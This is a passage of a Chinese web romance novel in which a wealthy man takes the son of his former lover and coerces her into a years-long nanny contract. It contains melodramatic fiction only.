“你回国后,我们之间所有发生的一切,都是幻象,你感受到的爱和真情,都是假的,你知道吗,我演得很辛苦。” “我又要演爱你,又在床上装很满足,我真的好累好累,我演不下去了,我不会嫁给你这样的人,我更不可能跟你生孩子,你害我宫外孕,我这辈子都不可能再跟你怀孩子,盛珽妄,你死心吧。” “我走了,不要试图找我,因为我看到你就恶心,你这样的人,不配得到爱情,不配得到别人的爱,我会找一个真心爱我,我也爱他的人结婚,我们会生几个孩子,有儿有女,我们会过得很幸福。” “结束了,盛珽妄,永远不要再见面了……” 屏幕灭了。 男人指尖揉捻的钻戒,重重地砸向了电视屏幕。 他猩红的眼睛,随着这道裂痕,慢慢开始扩张,颤抖。 胸膛剧烈起伏。 她说,结束了。 三年前的恨意还在,却要假装原谅他,却要假装爱他。 挺狠的。 比他狠。 盛珽妄转身向外走去,宽阔的肩膀,有了一丝颤抖…… …… 温疏亦回到滨城后。 带着乔深搬回了原来他们小时候住的地方。 是当年父亲购买的单位房。 地震的时候,几乎都坍塌了。 后来政府在原址建了新房,分给了他们家一套。 父亲当年的老同事们都已经不在。 这里的邻居也很陌生,但总算是一个栖身的地方。 乔深病得这么厉害,她想先给他治病,人好了,再想其它的事情。 托了很多关系。 总算是找到一家还不错的康复中心。 将乔深送进去后,温疏亦的钱包也瘪了许多。 有亲人在的日子,她不怕穷。 她期待着弟弟能好起来的那一天,那样,她对父母算是有了交代。 温疏亦很努力地在滨城生活。 三年后。 温疏亦成了当地一家公司的业务主管。 她每天过得很充实。 上班,买菜,看孩子。 没错。 她有孩子了。 一个很可爱的小男孩。 当年医生告诉她,她怀孕的时候,她首先想到的,还是宫外孕。 好在,这次很幸运。 反正,以后自己可能也不会结婚了,这个孩子算是这世界上,第二个与自己有血缘关系的人。 她毫不犹豫地留下了。 不管他的父亲是谁。 不重要。 “乔汐,你下班了,今天哆哆可乖了,还帮我摘菜来着。” 帮着温疏亦看孩子的,是母亲以前的同事。 一个老护士长。 她的儿女都在国外。 一个人在家,有一些寂寞,但主动提出要给温疏亦看宝宝。 “孙阿姨,辛苦你了,我来吧。”温疏亦将小家伙抱了起来,“奶奶表扬了哦,以后更要乖乖的。” 小家伙很懂事地点头。 孙阿姨笑着说,“他很乖的,有小哆哆在啊,我还能多活几年。” “他没累着您就好。” “不会的,我喜欢小哆哆,这小家伙可怜哪,还没出生,父亲就死了,乔汐啊,有合适的人,再找个,自己一个人带个孩子,太累了。” 温疏亦笑笑,应付着,“好啊,那您帮我留意着。” “没问题。” 这三年,她与华城断了所有的联系。 无论是盛家。 还是李江衍,还是盛珽妄,都从她的世界里消失了。 唯有联系的只有李穗安。 她会来滨城看温疏亦和宝宝。 每次来,都会讲一些华城发生的事情。 今天也是一样。 坐下就开始提盛珽妄,“现在他可厉害了,那版图扩张的,华城百分之八十的产业,都姓了他的姓了,谁能想到,他以前没上几天学,天天腥风血雨里过来的人。” “疏亦,你离开华城是对的,盛珽妄这个人,确实不是什么善茬,就算你留在他身边,很可能下场也不会好,你是不知道,那个许初音……” 第40章 人活着,还能让尿憋死 “许初音是盛珽妄的白月光,他还能不要她吗?”温疏亦像听故事,给怀里小宝贝喂着鸡蛋糕,“慢一点吃,吃完,乖乖睡觉好不好?” “好呀。”小家伙乖巧地答应着。 “这个许初音不是什么好东西,你忘了你刚到滨城那年,她还让人来杀你,要不是那个杀手行凶的时候,突然心脏猝死,你早被她害死了。” 这事在当年,确实很凶险。 好在,温疏亦命大。 “是啊。” 李穗安继续说,“要不说这盛珽妄挺狠的,他已经将许初音送到国外了,说是当年许初音为了留住他,弄了什么假病例说自己快要死了,后来露馅了,盛珽妄勃然大怒,从此不再允许许初音回华城。” 温疏亦的指尖一顿。 还有这事? 盛珽妄那样的人,怎么会容许别人这样处心积虑地骗他? 就像自己。 自从离开华城。 盛珽妄就没有再找过她。 要是他找,他一定会找到她的,可他没有,他痛恨欺骗,就如她的痛恨一般。 其实,她和他在某些性格上挺相似的。 有些仇,一记就是一辈子。 “以他现在的条件,身边的女人应该不会少吧?” 这点李穗安还觉得挺奇怪的,“好像没听说哪个女人陪在他身边,有时候新闻上看到他,也是独来独往的,有人说啊,他喜欢男的。” 温疏亦噗嗤笑了,“他喜欢男的?” “有传言是这样说啊,说他和那个顾临出双入对的,专门去那种男同常去的酒吧,我觉得吧,你离开,再加上许初音摆了他一道,他真有可能性取向就变了。” 温疏亦笑着摇头。 别人或许有可能。 但盛珽妄绝无可能。 他身上的雄性荷尔蒙,能杀死一头老虎。 “哦对了。”李穗安又说,“你养父母那家搬到漂亮国后,听说生活得也不算如意,前段时间,听说家被偷了,你养母哭天喊地的,还登上当地的报纸了呢,成了笑谈。” 当年盛宗杰被抓后。 温家就移居了海外。 这么多年过去了,温疏亦一点消息都没有。 好像与这一家人,也就这么的断了联系。 “还有你的那个妹妹,就是温思夏,听说他老公爱在外面偷腥,染上艾滋,把她给传染了,唉……” 一声叹息。 道不尽人生百态。 温家怎么说,也把温疏亦养大了。 温思夏虽然娇纵,有些大小姐脾气,但与她,相处得也算可以。 听到这种事情。 温疏亦心里不好受的。 “没想到,短短三年,就发生了这么多的事情。” 李穗安唏嘘,“谁说不是呢,就拿我那堂哥来说吧,我大伯母催婚催的,人都快疯了,他就是不相亲,也不恋爱,那次我大伯母来我们家,跟我妈哭,说,早知道这样,当年,就不反对他和你好了。” 温疏亦不知道该说什么好。 凡事都有如果的话。 人间就不会有那么多的悲剧。 “疏亦,你真的不打算回华城了,也不打算让小哆哆……” 话未说完, 温疏亦冲她比了个嘘,转身对儿子说,“吃饱了吗?咱们去睡觉好不好呀?” “嗯,睡觉觉。” 小哆哆很好哄。 五分钟,就睡着了。 温疏亦轻轻地将门关好,走出来,重新跟李穗安说话,“虽然他还小,但有些事情,是有痕迹的,还是别让他听到的好。” 李穗安表示理解。 继续说,“……现在盛珽妄富可敌国,你真的不打算向他要点抚养费什么的?” “要就给吗?”温疏亦哂,“我当年走的时候,话说得可难听了,我要去问他要抚养费,他先宰的人就是我。” 李穗安托着腮,也陷入了迷惘当中,“这男人到底爱没爱过你啊,你离开三年,他还真的是一点都不找你的。” “当然不爱啊。”温疏亦笑李穗安天真,“他只是觉得我好玩而已,穗安,他既然不爱我,那一定不会爱我的孩子,我去找他不是自取其辱吗?真的,没这个必要。” “就是觉得你一个人带孩子太辛苦了,你在华城赚的钱,也基本上都投进了康复中心里,而乔深的病情,也没什么好转,真的,我挺心疼你的。” 温疏亦倒没这么悲观。 人活着,还能让尿憋死。 女人,想赚钱,路子有的是。 “没事的,我挺好的,我觉得这样的日子,才算生活,不像在华城……” 跟在盛珽妄身边的那些日子。 她像生活在梦里。 他会送昂贵珠宝,会带她去吃高档的餐厅,还会隔天差五的送玫瑰花。 盛珽妄挺会玩浪漫的。 但不真实。 她和盛珽妄识于意外,没有任何的感情基础。 要说一见钟情,也是自欺欺人。 在盛家两年,她见过盛珽妄的次数虽然不多,但也不少。 哪有两年后,突然一见钟情的。 说白了,就是新鲜感在作祟罢了。 所以啊,还是这种脚踏实地的日子,才是最终属于她,也适合她的。 “疏亦,你未来有什么打算?”李穗安问。 温疏亦摇头,“没什么打算,弟弟的病还没有治好,哆哆还小,我除了拼命赚钱,来养活他们两个,别无选择。” “这也太辛苦了,要不,你再找个人吧。”李穗安知道温疏亦不肯将就,但万一碰到合适的了,“我的意思是,至少有个人可以帮你,不是吗?” “穗安,你太天真了,人家找老婆,是找一个可以给他洗衣做饭,可以为他生儿育女的人,不是找我这样的,带着两个拖油瓶,没人肯要我的。” 李穗安快碎了。 温疏亦这么漂亮,怎么会没人要呢。 肯定是那些男人的问题。 “算了,那些臭男人,不找也罢,大不了,我跟你一起养孩子。” 温疏亦笑了,“我不用你跟我一起养孩子,你早点把自己嫁了吧,省得你妈天天催你。” “她催她的呗,反正我……” 李穗安的话音还没落地。 就听到楼下一阵喧嚣。 二人一同走到阳台向下望去。 楼中间的空场上,正在竖一个雕塑。 地震纪念。 听说是有一位有钱人捐的。 “这人一旦有了钱,就开始做善事了。”李穗安摇头,“可能是这钱啊,也不干净。” “也许吧,也挺好的,毕竟当年,这儿死了太多人了,他们的亡魂,确实需要安抚。” 温疏亦很感慨。 这里曾是一片掩埋过无数生命的废墟。 很沉重。 温疏亦望向正在指挥大家干活的人,好面熟,像是…… 第41章 温小姐,别来无恙啊 像是张纶。 那么是不是……他是受盛珽妄指派,所以…… 所以,这个背后的捐赠人是盛珽妄? 盛家人说,他是当年地震中诸多事件的见证者。 他在缅怀吗? 温疏亦耸肩,也许吧。 她转身和李穗安往室内走,“这次来呆几天啊?” “一周左右吧,我这次过来,是想好好带小哆哆玩的,你是不知道,我把小哆哆发朋友圈,很多朋友,还以为是我生的,说这个小家伙又好看,又听话,都羡慕得不行。” 李穗安喜欢得不得了。 每次来滨城都会给他买好多的东西。 小哆哆成了李穗安的时尚挂件,还有一次被星探找上,想让小家伙拍广告。 温疏亦拒绝了。 “疏亦,你不反对,我把小哆哆发朋友圈的吧?我没说是你生的。” 温疏亦是希望不要招惹,一些不必要的麻烦,“没说就好,我不想给自己找不痛快。” “放心吧,我不说。” 作为公司的业务主管。 温疏亦平时特别忙。 有李穗安给她带一周孩子,她也省得老麻烦孙阿姨。 清早。 李穗安带哆哆出去玩。 温疏亦就去了公司开始一天的工作。 临近中午的时候,李穗安给她打来了电话。 一接起来,她就开始哭,“疏亦,小哆哆被人抢走了,怎么办啊?” “什么?被人抢走了?”法制社会,光天化日,谁这么大的胆子,“报警了没有啊?” “没,还没报警,疏亦,要报警吗?抢孩子的人……可能是盛珽妄的人。”李穗安看着手上的那张名片,虽然没写名字,但写了手机号,“那些人留了个联系方式,说让你联系他。” 温疏亦深呼吸。 用力压上往上翻涌有怒气。 这是盛珽妄的报复吗? “把手机号发过来。” “哦。” 李穗安将手机号发给了温疏亦。 看着这个陌生的号码。 温疏亦指尖微颤。 是盛珽妄的手机号? 他这样突然抢走自己的儿子,是临时起意,还是蓄谋以久? 不管哪样。 她需要确认对方的来头。 指尖坚定地拨通了号码。 三声过后,男人熟悉的低沉嗓音响起,“喂?” 果然是盛珽妄。 温疏亦得心,有那么一瞬间,是不跳的。 窒息。 恐慌。 各种情绪,扑面而来。 “三爷,我是温疏亦。” 男人的声音听起来,没什么起伏,“嗯。” “你把我儿子抢走了是吗?”她质问。 盛珽妄松了松领带,看着坐在大床上的乖巧男孩,“你的儿子?温疏亦,这孩子不止是你一个人的吧?” “三爷什么意思?” 温疏亦握着手机的指尖,开始发抖。 她强忍着没让声音也跟着一起颤,“以您现在这样的身份,没必要做这么上不了台面的事情吧?” “那请温小姐告诉我,什么才是上了台面的事情?”他语气讥诮。 温疏亦微顿,自己还是没有跟盛珽妄硬碰硬的底气,声音变软了一些,“还请三爷把儿子还给我。” “我要是不还呢?” 他清淡的语气中,透着一副掌控感。 温疏亦要疯了。 她知道,二人之间的实力,悬殊得厉害。 但她真的无法控制,这种突然被夺走的失控感。 “你凭什么不还?孩子是你生的吗?”温疏亦想骂人了,很脏的那种,“你把我儿子弄哪儿去了?” 可能是温疏亦的语气太冲了。 盛珽妄并没有回答。 眸底渐渐地升起愠色。 温疏亦久久没有听到声音传过来,害怕了,“把孩子还给我好吗?” “这孩子太乖了,我准备带回华城,好好教一下。” 盛珽妄让医生给孩子抽了血。 现在他手上拿着亲子鉴定的结果。 跟他想的一样,这孩子就是他的。 他还以为温疏亦多无情呢。 不也舍不得打掉二人之间的血脉。 “没什么事情,就挂了。” “别,盛珽妄,你现在在哪儿,我们见一面,好不好?”温疏亦没招了,卑微地求他,“我们见一面,好好谈谈行吗?” “你是觉得我很想见你?”他拒绝了。 温疏亦无力地蹲下身子,声音哽咽,“我知道你恨我,但你不能用这样的方式,我们见一面吧,好吗?” 盛珽妄没说话。 眼神落到乖巧的男孩身上。 许久后,报了个位置。 温疏亦心落了地。 不管怎么说,可以见到盛珽妄,起码可以有跟他谈判的机会。 如果他坚持不肯见。 她哭都没有地方去。 温疏亦收拾了一下,请了假就出了公司。 刚好李穗安过来找她,泪流满面的,“对不起疏亦,是我不好,我没看好哆哆,我真的是……” “别自责穗安,对方是盛珽妄,那就是有备而来。”她帮李穗安擦了擦脸上的泪,“好了,别哭了,你回家等我,我去见盛珽妄。” “你要去见盛珽妄?”李穗安抓住温疏亦的胳膊,担心地说,“我陪你一起吧。” “不用,我会跟他好好说,再怎么说,他知道哆哆是他的儿子,至少对孩子不会怎么样,最多就是抢孩子罢了。” 李穗安点头,又摇头,“他凭什么要来抢孩子,这孩子他养过一天吗?万一,他,他要对你,对你怎么样……,如果,我是说,如果他真的要伤害你,你记得要报警啊。” “嗯,好。” 去找盛珽妄的路上。 温疏亦得心,没来由的忐忑。 她想了许多,他们之间的点点滴滴。 那段虚妄的感情中,盛珽妄很温柔的,他会给她做饭,会给她吹头发,她生病,他会整夜整夜的守着她,不睡觉…… 想到这些。 温疏亦觉得自己其实挺坏的。 但她没得选。 一部分来自许初音的压力,一部分来自自己的报复心态。 那时的她,对盛珽妄还是有恨怨身上的。 不管怎么说。 三年又三年。 她心里怨恨早已经消失不见,取而代之的,应该是盛珽妄对她的恨了。 车子到达滨城最大的星级酒店。 门口的侍童亲自为她开门,“小姐,请下车。” 她微微颔首致谢。 脚步虚浮地走进酒店的大堂。 盛珽妄在顶层的总裁套房。 她在电梯里,不停地深呼吸。 心跳得太慌了,慌得她怎么摁都摁不住。 走到总裁套房的门口。 有两个黑衣人分站门口两侧。 “我来找三爷的。”温疏亦声音不算大。 黑衣人抬手敲门,“三爷,人来了。” 很快,门从里面打开。 温疏亦先看到的是张纶的脸,“张特助。” “温小姐,三爷等候多时了。”张纶做了请的手势。 温疏亦脚步很轻的走进了套房。 房间很安静。 她不知道儿子在哪儿。 左顾右盼中,她先看到了盛珽妄。 他背着身。 整齐利索的头发,工整高档的西装,还有那看起来有一些慵懒交叠的双腿。 她没看到他的脸,心却跳得更快了。 “三爷,温小姐来了。”张纶说。 温疏亦缓慢地走过去,绕过沙发,来到了他的面前。 男人指尖把玩的一枚纯金的火机,有一些玩味地将墨色的眸子掀起,“温小姐,别来无恙啊。” 第42章 锃亮的皮鞋,挑起她的下巴 盛珽妄的样子没怎么变。 但气势变了。 温疏亦对他,有一种惧怕。 尤其是,他这副冰凉狠戾又带着些秋后算账的模样。 她心里没底。 “三,三爷。” 盛珽妄将亲子鉴定,扔给了温疏亦,“亲子鉴定我做过了,这孩子是我的,我决定带走了。” “不,你不能这样。”温疏亦摇头,眼眶泛红,“以三爷的能力,你完全可以找更优秀的女人,给你生孩子,我的基因不好,我生的孩子,你也看到了,他性子安静,像个小姑娘,你不会喜欢这样的孩子的,请三爷高抬贵手,把孩子还给我,行吗?” “你怎么知道,我不会喜欢?”他目光微凉地轻笑了口,“我的孩子,不管聪明还是笨,我都可以教得很好,不可能让他呆在你的身边。” 盛珽妄的话说绝了。 一点缓口的余地都没有。 温疏亦难过,但不死心。 她扑通一下跪到了男人的面前,仰着满是泪水的小脸,求他,“我知道你对我有恨,没关系的,你可以冲我来,只要你肯把儿子还给我,我任凭你处置。” 盛珽妄淡淡垂眸。 看向温疏亦的神线平常清冷,甚至唇角还夹带可笑的弧度,“如果你任凭我处置,那我把儿子还给你,你又如何照顾得了他?温疏亦,别说这些没脑子的话。” 温疏亦不是没脑子。 是她现在没有任何办法,可以说服盛珽妄。 “三爷,我只是想让你给我个机会。” “你需要机会吗?”男人微微前倾俯视着面前的女人,“温小姐你,如此心狠手辣的人,不如凭自己的本事来抢吧,我奉陪。” “我没有本事,我真的……”温疏亦的泪水止不住,她也不想如此的失态,可她越来越觉得,盛珽妄已经不是当年的盛珽妄。 他的心冷,心硬,对她更是恨之入骨。 根本不是当年那个,只要她眼眶一红,他就哄半天的男人。 “……三爷,你说条件吧,只要我能做到,只要你肯把儿子还给我,我做什么都可以,真的,我做什么我都愿意。” 男人冷呵。 抽了根烟递到唇上吸着,锃亮的皮鞋,挑起温疏亦的下巴,“你也配跟我谈条件?” 温疏亦摇头。 她知道她不配。 可她现在已经跪在他的面前,她把自己的姿态放低,低到尘埃里。 他可以践踏她。 也可以凌辱她。 她都能接受,只要他肯松口。 “求你,三爷。” 她的眼泪,滴在他的皮鞋上,像绽放的水花。 却无法激起男人心底的涟漪。 当年温疏亦离开后。 盛珽妄把自己关在家里,一个月没有出门。 他不知道自己到底哪里错了。 哪怕是他三年不告而别有错,也不至于,换来这么狠的报复。 是啊。 他想不通。 他是可以找她的,无论她在哪儿,他都可以找到她,当面说个清楚。 他没有。 他希望自己的人生,平静一些,哪怕是无情无爱,他也不要撕心裂肺。 可是命运这个东西,太奇妙了。 他知道了,很多事情,包括哆哆的存在。 突然,心里就有了许多的不甘和放不下。 温疏亦泪流满面地跪在他面前,他真的心无波澜吗? 当然不是。 他心口某块柔软的地方,被扯着,也不好受。 “想求我,得有让我感兴趣的东西,温疏亦,你有什么?” 温疏亦什么也没有。 她只有这条命,“我的命,你可以拿走。” “拿走你的命,孩子还不是一样跟我走?”盛珽妄听的可笑。 他勾了勾手指。 张纶拿过了一份合同。 “把这个签了,跟我回华城,我可以让你每天见到儿子。” 温疏亦擦了擦脸上的泪。 接过合同看了一眼。 像是劳务合同。 但更像是卖身契。 内容大概:[以家庭保姆的身份,照顾小少爷的日常起居,直到他十八岁成年。] “三爷,我……没太明白你的意思。” “温小姐,三爷的意思,如果您想天天见小少爷,那您就搬回华城,照顾小少爷和三爷的生活,如果不愿意,可以不要签,我们把小少爷带回去。” 张纶说得够清楚。 温疏亦不愿。 这跟把自己卖了,没什么两样。 可她现在有的选吗? 她无法狠下心,离开她拼命生下的宝宝,“我,签。” 温疏亦签了。 她看到了最后的违约金,一个亿。 一个亿买断了她的十五年。 挺赚的,大部分人一辈子连一百万都赚不到的,不是吗? 盛珽妄接合同粗淡地看了一眼,交给了张纶,“找个相框装裱起来,违约金这一栏放外面,放到家里显眼的位置上,时刻提醒温小姐,离开是要付出代价的。” 盛珽妄的话像警告,映照以前,语意深重。 温疏亦知道,这次逃无可逃。 他手里握着一张王牌。 算了。 不逃了。 等儿子长大她也老了,那时她离开盛珽妄的家,再回滨城,找一个保洁的工作,也饿不死。 回到家后。 温疏亦像抽了筋的皮皮虾,全身上下,没有一块硬骨头。 李穗安倒了杯水给她,“怎么谈的?” “他让我回华城,做保姆。”温疏亦觉得自己挺倒霉的,“以前在盛家当了两年的老妈子,这次要十五六年呢。” “什么意思?”李穗安没太听明白,“盛珽妄让你回华城做保姆?做谁的保姆?他的保姆吗?他那种人,还缺保姆?他到底是什么意思?” 李穗安不知道什么意思。 温疏亦知道。 无非就是随时随地地羞辱她。 好找回,三年前她离开时,带给他的难堪。 因果循环报应。 不知道什么时候是个头。 涩笑,“他的意思就是,找个出气筒。” “天哪,那他还是人吗?一个大佬,心眼小得跟针眼似的,老天爷给他那么多的财富,一定会再收回去的,疏亦,你答应他了?” 温疏亦面露苦色。 嘲弄的扯唇,“我把自己卖了。” “其实,你可以报警的。” “报警有什么用呢,他是孩子的父亲,他的能力跟我天差地别,他想要回孩子,法院都不会判给我,到他家里做佣人,至少,我可以看到哆哆长大,反正,上哪儿也是工作,大不了就多挨些骂罢了,我能受得住,等哆哆成人了,我就可以离开了。” 温疏亦说得很平淡。 李穗安听得很心疼。 怎么说温疏亦也是娇生惯养长大的,怎么突然就要去做十五六年的保姆了? 她哪里会伺候人嘛。 “那个盛珽妄,不会变态到,不让你儿子喊你妈了吧?” 第43章 带薪的保姆 温疏亦摇头,“那倒还没说,应该不会吧。” “可就还好,找个机会,偷走儿子,跑了就好了。”李穗安说。 温疏亦笑了,“我要是跑了,就等于违约,违约金一个亿,我跑到哪儿,他都得撅地三尺,把我找出来。” 跑是跑不了了。 乔深还康复中心。 她只能走一步看一步。 李穗安又生气,又自责。 如果不是她没看好小哆哆,也不至于被抢了去,温疏亦也不会签这种不平等的条约。 “都怪我。” “跟你没关系。”温疏亦不希望李穗安自责,“既然盛珽妄要来抢孩子,谁带着也会抢走的。” “那你真的要回华城?什么时候走啊?” 温疏亦想着这两天把滨城的事情交待清楚后,就去华城,“盛珽妄今天会把小哆哆带回华城,我这两天把工作交接了,就回。” “那我跟你一起回。” “好。” 几天后。 温疏亦回了华城。 张纶告诉她,要去阳关大道的房子,她去了。 房间还跟她走时一样。 那瓶她离开时还插在花瓶里的玫瑰花,早已经枯萎,却没有收拾。 干枯的花瓣,像是加快的按钮。 那些在这房子里发生的过往,如同倒带一般的,在她眼前上演。 “你走后,三爷一直没来过,正好你来了,你就收拾一下吧,接下来,三爷会带小少爷,在这边生活,希望你能照顾好他们。” 张纶给了温疏亦一张卡,“这里面的钱,用于日常生活开支,你的薪资,也会正常发放。” 温疏亦觉得盛珽妄还挺讲究的。 她竟然还是个带薪的保姆。 “那我能问一下,我一个月能有多少薪资吗?” 张纶有些为难的,“这个,得三爷决定。” “谢谢。” 说了跟没说一样。 温疏亦撸起袖子打扫卫生。 房子虽然布了些尘,但不算难收拾。 她许久没有干过这么多的活。 光楼下就打扫了一天,也只收拾了个七七八八。 卧室她打扫的最干净,因为盛珽妄要睡。 小哆哆也要睡。 晚上的时候,她给盛珽妄发了条信息,“三爷,晚上你会带哆哆回来吗?” 那头过了半天,才回了一个字,“回。” “那我需要做饭吗?哆哆吃惯了我做的饭,他从小生活在滨城,我怕他吃华城的饭,肠胃会不适。” 又半个多小时,那头回了句,“那你就做。” “知道了。” 温疏亦准备了很多。 在做饭的时候,有人敲门。 一个年长富态的女人,眼生的很,“你是……” “温小姐,我是三爷派过来,帮你的,你叫我王婶就好。” 女人很开朗。 有个五十岁的样子。 干起活来,比温疏亦麻利多了。 还没等她动手,王婶已经四菜一汤端上了桌。 令她惊奇的是,王婶还做了滨城菜,温疏亦猜,应该是盛珽妄知会过了,专门给小哆哆做的。 “王婶,你可真厉害,显得我,像个多余的。” 王婶笑着摆手,“你一个小姑娘家家的,不会干正常,再说了,三爷叫你过来,应该不是当下人的吧?” 温疏亦苦笑。 保姆也是下人。 就是称呼不一样而已,“算是育儿嫂吧。” “这就对了,你这个年纪,教小孩子还差不多,粗活干不了的,以后就交给我来干吧。” 王婶脾气很好。 温疏亦说什么,她都信。 “王婶,三爷是让你今天来帮忙,还是以后,你都在这儿啊?” 王婶一边说话,手里的活,也没有停,“以后都在这儿,这么大的房子,我可有的累了,不过啊,三爷敞亮着呢,一个月给我这个数。” 王婶伸了两根手指头。 把温疏亦给弄蒙了。 “不会是……两万吧?” 王婶瞪起眼睛,笑着点头,“可不是吗,两万啊,还有奖金没算上呢,我可是经过层层选拔,才选上的,那可是过五关,斩六将的,三十多个人,来竟争这个呢。” 想来也是。 做家政阿姨,一个月两万算是多的了。 再加上点奖金什么的,得小三万了。 王婶用胳膊肘碰了碰温疏亦,“你呢小温,你是育儿嫂,有学历还能教孩子,工资一定比我多吧?一个月多少啊?” 温疏亦还真说不上来。 “还没跟我讲,我估计不能有你的高。” 王婶一脸不相信后,倒也生出一丝优越感,“那确实也不好说的。” 二人聊天的这个功夫。 盛珽妄打开门走了进来。 他抱着哆哆。 孩子应该是睡了,趴在他肩头上一动不动的。 “我来吧。”温疏亦伸手去接孩子。 盛珽妄没给她,而是直接抱着儿子去了卧室。 刚要往床上放,温疏亦及时开口,“放到这间卧室吧,他习惯晚上跟我睡,别让他打扰到你。” 盛珽妄淡扫了她一眼。 也没反驳,而是转头,将儿子放进了温疏亦说的房间。 王婶过来,恭敬的问,“三爷,要不要开饭?” “开吧。”他说。 放好儿子,他这才将自己身上的大衣脱了下来。 温疏亦自然而然的去接,“三爷给我吧。” 盛珽妄的眼神微微抿下。 将大衣丢在了温疏亦的身上,而后去了餐桌坐下。 王婶洗了把手,就回自己的保姆间里去休息,只等着一会出来收拾碗筷。 温疏亦不知道是该站着伺候盛珽妄用餐。 还是像王婶一样的,回房间。 踌躇间。 盛珽妄冰凉的声音响起,“过来吃饭。” “我,我不饿,您用吧。”温疏亦推辞。 不是假意,是她真的不想跟盛珽妄坐一起。 他变了。 没有从前的那般好脾气。 她现在真的很怕他一个不开心,拧断她的脖子。 “别让我说第二遍。”他声音冷的骇人。 温疏亦只好坐到了他的对面。 “今天的菜是王婶做的。”她不敢抢功。 盛珽妄没说话。 低头吃饭。 以前,他在饭桌上,总爱跟她讲如何成为一个好的COO。 她则偏安静。 人变了。 好像气场都变了。 温疏亦不敢再聒噪。 低头默默吃饭。 有道汤,温疏亦其实挺喜欢喝的,但放了香菜,她又不好去挑香菜,显得事多,就只给盛珽妄盛了一碗。 盛珽妄一直也不说话。 用筷子,一点点的将香菜全部挑了出来。 温疏亦正奇怪,盛珽妄是什么时候不吃香菜的。 他已经将挑出香菜的汤碗,递到了她面前。 然后,起身离开了餐桌。 面前是干干净净的汤,温疏亦心里有一种乱七八糟的感觉。 他给她挑香菜,是习惯还是…… 温疏亦不敢往下想。 汤匙轻轻的舀起,一口口的往嘴里递。 真的很好喝。 饭后。 盛珽妄去洗澡,温疏亦则回了房间陪儿子。 小家伙睡的很香,像是累着一般,鼻尖上密密的细汗,她疼爱的抚着他的小脸,亲了亲。 王婶敲了敲门,“小温,三爷叫你呢,你赶紧过去看看。” 第44章 搞定大佬 “哦,知道了。” 给儿子盖好被子。 温疏亦去了盛珽妄的房间。 这间卧室,是她和盛珽妄住的地方,只看一眼,脑海里就如电影胶片一般的,上演着那些或热烈,或温柔的情事。 可惜是假的。 可笑,本来就是假的。 想那些干什么。 浴室的水已经关了。 她轻轻地敲了敲门,“三爷,你在里面吗?找我有事吗?是不是需要拿睡衣?” 里面没说话。 温疏亦又敲了敲门。 没人应。 她心口一乱,不会是晕倒了吧? 她脑补了N多种的意外情况。 砰的一下,推开了门。 一个男人的裸体,就这样毫无防备地,出现在了她的眼前。 温疏亦吓得捂眼,赶紧退到门外去,“不好意思,三爷,我不知道,是我唐突了……” “又不是没见过,装什么?”盛珽妄慢条斯理地,扯过浴袍穿好,走了出来。 温疏亦脸很红。 像烫熟的螃蟹。 不知道往左还是往后。 “王婶说,你找我,有什么事情吗?” “跟你说一下,你的工作范围。”他走到沙发上坐下来,除了穿着上有一些随意,真的很像一个老板要交代工作的样子。 温疏亦立马站直,“三爷,你说。” “除了照顾哆哆的日常,还要陪我参加各种商业宴会,必要的时候,还要帮助我完成一些,棘手的问题,比如……” 他抬眸看向她漂亮的小脸,“……比如,搞定某个大佬。” 温疏亦心口一紧。 要她卖身? “要陪睡?”她喉间苦涩。 盛珽妄没有给她准确的答案,“不一定,看你的本事,以前我教过你的,只要你还没忘,跟男人打交道,也不止是‘睡’这一条路子可以选。” 温疏亦心脏抽痛。 盛珽妄是教过她不少。 但这三年,她生孩子,找工作,忙着赚钱,早把在天景集团学的那点本事给忘了。 华城日新月异。 她一个女人,如何能玩转? 温疏亦不知道是盛珽妄,真的需要一个女人来换取利益。 还是特别‘照顾’她。 他是军人出身,对于商场上的声色犬马和狎妓,一直都嗤之以鼻。 想来,只是针对她罢了。 挺难过的。 但没有到伤心的地步。 谁叫她曾经伤了这位大佬的心呢。 “好。”温疏亦答应了。 “别那么视死如归。”盛珽妄抽了根烟,递到唇上慢慢地吸着,“搞定五千万以上的定单,合同期限可以减一年。” 温疏亦眼眸一亮。 减一年的意思是…… “那如果我完成了八个亿以上的订单,是不是,我可以直接带宝宝离开?” 盛珽妄看着温疏亦满眼希望的样子,给她泼了盆冷水,“想着美,你可以走,儿子的留下,你可以探视。” 温疏亦眼里的光灭了。 盛珽妄给她吹了个泡沫。 “我不想离开儿子。” “随你吧。”盛珽妄抬腕看了眼时间,“今天没什么事了,明天晚上跟我参加个宴会,你提前准备一下。” “哦。” 温疏亦讪讪走出房间。 如果她想带宝宝离开。 她就得得到比盛珽妄还要厉害的大佬,帮她。 对于温疏亦来说,是天方夜谭。 没人会跟盛珽妄作对,选择帮她。 十六年的保姆。 谈何容易。 盛珽妄挺狠的。 也许,也许他有爱的人了,要结婚生孩子了,就不会那么看重自己生的孩子。 温疏亦睡不着。 打开搜索引擎,开始搜找盛珽妄的那些花边新闻。 你别说,还真让她找着了。 许初音这个白月光黯然失色后,别一位爱慕者,已经在几个月前悄然登场。 她叫夏旖旎。 是盛家为盛珽妄寻的一门婚事。 盛老爷子,因为盛家接二连三的出事,身体一直没有养过来。 可能是自觉得天年有日。 就想把盛珽妄这块心病了了。 夏旖旎出身也是正的发邪,父母都是部队高官,自己是学舞蹈的,身段柔媚,人也长得不错。 很奇妙。 夏旖旎和温疏亦上的还是同一所高中。 是那种你也认识,我也认识你,但不在同班,仅是说过几次话的关系。 夏旖旎喜欢盛珽妄。 那她就来撮合这件事情。 盛珽妄重新有了爱情,就不会再盯着她和她生的孩子了。 温疏亦瞬间觉得,老天又给她打开了一扇窗。 有希望的日子,就不算难过。 温疏亦搂着宝宝,这一觉睡得特别踏实。 翌日。 盛珽妄让张纶给她送来了一件小礼服。 不算露。 挺端庄的款式。 她顺带着问了一嘴,“张特助,今天是一个什么性质的宴会?” “是夏家老太爷的寿辰。” 夏家。 温疏亦一怔,忙问,“是哪个夏家?是夏旖旎的爷爷吗?” 她记得夏老爷子也是老功勋。 不会这么巧的吧。 张纶微微有一些惊讶,“你猜得没错,确实是夏旖旎的爷爷,三爷是被邀请的。” 温疏亦心口一凉。 夏旖旎明明和盛珽妄的关系,是将来要嫡结姻亲的。 盛珽妄带着她去参加,夏老爷子的寿宴。 这不是明摆着,打夏家人的脸吗? “张特助,我突然身体有一些不舒服,我能不能不去……”温疏亦捂着肚子,装生病,“……夏家的寿宴啊?” “三爷说了,你要这次不去,那说明你不适应这儿的工作,还是请你回滨城吧。” 张纶说的没什么感情。 温疏亦根本没有反抗的余地,撇撇嘴,“你们也太不近人情了,不舒服也不行。” 